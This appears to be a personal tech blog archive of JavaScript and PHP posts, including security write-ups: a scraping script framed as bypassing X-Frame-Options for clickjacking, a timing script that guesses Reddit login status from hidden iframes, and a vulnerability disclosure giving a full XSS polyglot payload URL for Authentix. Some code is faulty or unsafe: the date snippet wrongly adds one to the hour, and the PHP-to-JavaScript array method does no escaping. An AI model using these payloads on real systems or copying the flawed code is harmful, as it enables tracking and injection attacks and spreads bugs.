Showing posts with label JavaScript. Show all posts
Showing posts with label JavaScript. Show all posts

Thursday, October 30, 2014

Node.js "Error: too many parameters at queryparse"

If you've been using Express' body-parser and attempting to process large data submissions (aka forms with more than 1000 elements or 1000 sub-elements, you may have run into the following error:

Error: too many parameters
    at queryparse (/project/node_modules/body-parser/lib/types/urlencoded.js:120:17)
    at parse (/project/node_modules/body-parser/lib/types/urlencoded.js:64:9)

This is due to the fact the urlencode defaults to 1000 parameters by default. If you have a large form or just an abnormally large JSON submission, you'll need to increase this limit by doing the following:

var bodyParser = require('body-parser');

app.use(bodyParser.urlencoded({
        extended: false,
    parameterLimit: 10000,
    limit: 1024 * 1024 * 10
}));
app.use(bodyParser.json({
        extended: false,
    parameterLimit: 10000,
    limit: 1024 * 1024 * 10
}));


This will allow you to provide up to 10,000 parameters (increase as needed) and 10 MB of data (also adjustable).

Friday, June 27, 2014

JavaScript Print Date in YYYY-MM-DD HH:mm:ss Format With Leading Zeros

Printing out a JavaScript date with leading zeros is a bit more complex than it should be.

var now = new Date();
var dateToPrint = now.getFullYear() + '-' + ('0' + (now.getMonth() + 1)).slice(-2) + '-' + ('0' + now.getDate()).slice(-2) + ' ' + ('0' + (now.getHours() + 1)).slice(-2) + ':' + ('0' + now.getMinutes()).slice(-2) + ':' + ('0' + now.getSeconds()).slice(-2);

The .slice(-2) method allows us to add a leading "0" to every date (including those already containing two characters) and then slice out the last two.

For example, if it is 1PM, the time is 13 (getHours() + 1), but then written as 013, then sliced to 13.

Monday, April 28, 2014

CURL POST JSON Data from a File

Sometimes I need to POST JSON data to an API endpoint for testing that is too large to fit easily on the command line in the typical "{"id":1,"string":"something"}" format. Instead, it is much easier to just save the entire JSON structure to a file and then reference that file in the CURL.

For example, with the JSON data saved to temp.json:

curl -X POST -H 'content-type: application/json' -d @temp.json http://dev.com/api/

It's as simple as that!

Friday, July 13, 2012

Defeating X-Frame-Options with Scraping

Introduction

Iframes are an element of web design that are loved and hated. Web developers (used to) love them because they easily allowed resources from various sites to be loaded on-demand within a webpage. Security professionals hate them because they allow content of one site (such as a login page) to be loaded within another site that may not be trusted. This introduces a security concern known as click-jacking where a malicious site overlays invisible elements over what the user believes is a safe login form.

The Solution

Since these concerns arose, the X-Frame-Options header was developed to prevent the loading of one site within an iframe of another. This header is supported by all major browsers and includes two options:
  • SAMEORIGIN - the site can only be loaded within pages of the same domain
  • DENY - the page cannot be loaded in a frame at all

Page Scraping

The goal of X-Frame-Options, as described above, was to prevent the loading of one site within another, potentially malicious site. However, there are multiple ways a site's contents can be displayed, and an iframe is only one. Page scraping can be done via a server-side PHP, Python, or other language script. The code below is an example of how a page's code can be loaded using PHP:

<?php

$userAgent = 'Googlebot/2.1 (http://www.googlebot.com/bot.html)';
$url = "https://www.yahoo.com/";
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, $userAgent);
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_AUTOREFERER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$html = curl_exec($ch);

echo $html;

?>

This small bit of code, when loaded on any website, at any URL, will cause the contents of Yahoo's home page to be displayed. A malicious user could overlay hidden elements over the $html echoed out and easily execute the same attack X-Frame-Options prevents.

Protections

Luckily, some large websites like Google and Facebook are aware of issues like these and use a complex combination of user-agent and IP address checks to prevent server-based scripts from loading their content. Replace yahoo.com with facebook.com/your_username in the code above and you'll notice that nothing loads.

You Don't Even Need a Server!

This problem is not typically able to be replicated on a simple HTML page without server-side code because JavaScript has cross-domain policies that prevent it from retrieving content from a different domain (in other words, you can't scrape the HTML using just JavaScript). However, through some clever trickery, http://call.jsonlib.com/ has enabled JavaScript scraping. What is actually happening is the JavaScript makes a call to a server hosted on the public Internet which serves as a middle-man. So the same process is happening (server-side scraping), it is just being called locally using JavaScript.

For this to work, save the file: http://call.jsonlib.com/jsonlib.js locally. Then, create a simple HTML page with the following code:

<script type="text/javascript" src="jsonlib.js"></script>
<script type="text/javascript">
    function fetchPage(url) {
        jsonlib.fetch(url, function(m) { document.getElementById('test').innerHTML=m.content; });
    }
</script>

<body onload="fetchPage('https://donate.mozilla.org/page/contribute/join-mozilla?source=join_link')">
<div id="test">
</div>

Most likely many large websites block sites that enable this middle-man functionality. However, it is easy for anyone with access to a server to recreate the process. X-Frame-Options are very useful, but there is no need to use iframes any longer when copying the entire site's code locally works just as well. To protect yourself against these kinds of attacks, always make sure that you do not enter sensitive data on domains you do not trust. Always check the URL bar before typing!

Monday, January 16, 2012

Guessing User Logged-In Status With Redirects and Load Times

I've been working on a project that uses non-traditional methods to detect a user's signed-in status to websites. When you visit a page like "http://reddit.com/submit," that page first checks to verify whether you are logged in or not. If you are already logged in, the standard "Submit" page is displayed. If you are not, the browser is redirected to the login page. My idea rests on the fact that this redirect takes time; not a significant amount of time, but at least a millisecond or two. If we could somehow record the loading times of these pages, we could, with a fair amount of accuracy, determine whether or not a user is logged in to a particular website.

To do this, I have setup an IFRAME within a website (I'll have to check and see if this works by loading a page as if it were a script, but that's later on the agenda). I then use JavaScript to reload the page and then load the page that the page would have directed to. Let's look at an example.

When you go to http://reddit.com/submit and you are logged in, the /submit page is shown. When you are not logged in, you are redirected to https://ssl.reddit.com/login?dest=%2Fsubmit, the standard Reddit login page. My script first loads the submit page. If the user is logged in, the page loads, saving its load time to a variable. Then, the timer is reset and the standard login page is loaded. The end result boils down to these facts:

If you ARE logged in, the submit page will load quicker than the login page because no redirect is needed when the submit page is loaded.

If you ARE NOT logged in, the login page will load quicker because the submit page requires a redirect and the login page does not.

There are a few problems that prevent this script from being a 100%. First, despite an initial page load that doesn't count towards the load timer, caching of the browser is not fully predictable. One page may be cached more than another. Second, although the two page loads are performed within 1.2 seconds of each other, network and remote server conditions could change within that time, causing one page to load faster. This is more of a proof-of-concept than a reliable script, but it does show that a remote page could attempt to guess all of the services you use by loading remote pages in hidden IFRAMEs.

See if it works for you: http://blasze.com/loggedin/

Source:
<html>
    <head>

        <script type="text/javascript">

            var startTime=new Date();
            var a;
            var b;
            var done = 0;

            function currentTime(){
                if(done == 0)
                {
                    done = 1;
                    var ms = 1200;
                    ms += new Date().getTime();
                    while (new Date() < ms){}
                    startTime=new Date();
                    document.getElementById('framer').src="http://www.reddit.com/submit";
                }
                else if(done == 1)
                {
                    a=Math.floor((new Date()-startTime)/100)/10;
                    if (a%1==0) a+=".0";
                    done = 2;
                    var ms = 1200;
                    ms += new Date().getTime();
                    while (new Date() < ms){}
                    startTime=new Date();
                    document.getElementById('framer').src="https://ssl.reddit.com/login?dest=%2Fsubmit";
                }
                else
                {
                    b=Math.floor((new Date()-startTime)/100)/10;
                    if (b%1==0) b+=".0";
                    if(a > (b + .1))
                    {
                        document.write('You are not logged into Reddit.');
                    }
                    else
                    {
                        document.write('You are logged into Reddit.');
                    }
      
                }
            }

        </script>

    </head>
    <body>
        <iframe id="framer" src="http://www.reddit.com/submit" onLoad="currentTime()" style="display:none;"></iframe>


    </body>
</html>

Tuesday, July 26, 2011

Authentix Vulnerabilities

While doing some work on an Authentix system, I discovered a few, very basic, JavaScript injection and cross-site scripting vulnerabilities. After finding these, I've done some research and it appears that these issues have been discovered and reported to the vender previously (in previous versions) yet they still remain in the latest version of the software. The issue is mitigated slightly by the fact that the vulnerbility occurs on an admin page, visible after login, but I wouldn't doubt that other areas of the site exhibit the same issues.

Authentix is a webpage protection tool that uses IIS and NT user names as a backend. You can read more about the product here: http://www.flicks.com/flicks/authx.htm. To me, it seems like a very antiquated tool, but apparently it is still used in production environments.

The vulnerability occurs within the remote administration webpage while editing user accounts. After logging in, browse to the delete user admin page at: https://server.site.com/scripts/aspadmin/deleteUserSelect.asp

This page allows you to enter the user name of the user you wish to delete.
When you click "delete user," the site appears to silently pass the parameter to the next page as shown here in the URL:
https://site.server.com/scripts/aspadmin/deleteUser.asp
And here on the webpage:
So this part got me thinking. After looking into the code a bit, the textbox where the name is originally entered is called "username." So suppose we pass that in via the URL rather than typing it in the box and clicking the button? Let's try it:
https://site.server.com/scripts/aspadmin/deleteUser.asp?username=johnny
Now this is why we have a problem. The webpage appears to just be displaying on the page whatever text was typed after "username=" in the URL. This is exactly how JavaScript injection and cross-site scripting start. So now let's try a new URL:

https://site.server.com/scripts/aspadmin/deleteUser.asp?username=';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

(This code was taken from http://ha.ckers.org/xss.html which is a very nice XSS cheat-sheet).

This URL works nicely:

This works on several other pages as well, including some that are persistent. I have only tested to see whether a few other pages are vulnerable, but the entire site appears to be a bit outdated, especially from a design standpoint. I have emailed the company again (they have been contacted previously about this) and, if I receive a response, will include it here.

Sunday, March 20, 2011

Convert a PHP Array to a JavaScript Array

Many times when working with advanced web applications it may be necessary to convert an array of PHP variables into an array of JavaScript variables. I stumbled upon this issue in some recent web development work and most of the solutions online seemed incredibly complicated for such a simple task.

JavaScript is different than PHP because JavaScript allows manipulation of the page data on the client side (meaning no page refreshes are necessary). PHP works by sending information to a server (server side) to manipulate and return. This means that page refreshes are necessary (typically). So let's say you have an array of strings in PHP; we'll call it "phpArray()". This array may be created in PHP with the following PHP code:

$phpArray = array("Word One", "Word Two", "Word Three", "Word Four");

Now we have a $phpArray variable in PHP that contains the words as strings. To convert this array to a JavaScript array, we are going to first create a string from the PHP array by running through a PHP loop. First, we will declare a string variable in PHP to hold the loop's contents:

$string = ""

Now we're going to loop through the loop and add each element of the array to the string with quotes around it. (Note: this is for an array of strings. An array of ints should be handled as strings in PHP, but passed to JavaScript without the quotes.)


foreach ($phpArray as $a) {
$string .= "\"" . $a . "\", ";
}


This code creates a PHP string that looks like:

$string = "Word One", "Word Two", "Word Three", "Word Four",

Now, we need to do one final thing. This code loops through the array and adds a comma (,) and space( ) to the end of each array element. That means that the resulting code will appear as "Last Word", We don't want this because it will mess up our JavaScript. To cut off this last comma and space, we will do:

$finalstring = substr($string, 0, (strlen($string) - 2));

This code removes the last comma and allows us to place it into our JavaScript. In the JavaScript section of our page, we're now going to add:

<script language="javascript" type="text/javascript">
            var jsString = new Array(<?php echo $finalstring; ?>);
</script>


We now have a JavaScript array called "jsString" which contains all of the elements of the PHP string array. It would be the same as writing:

var jsString = new Array("Word One", "Word Two", "Word Three", "Word Four");


That's all there is to it. If you have any questions, just leave a comment!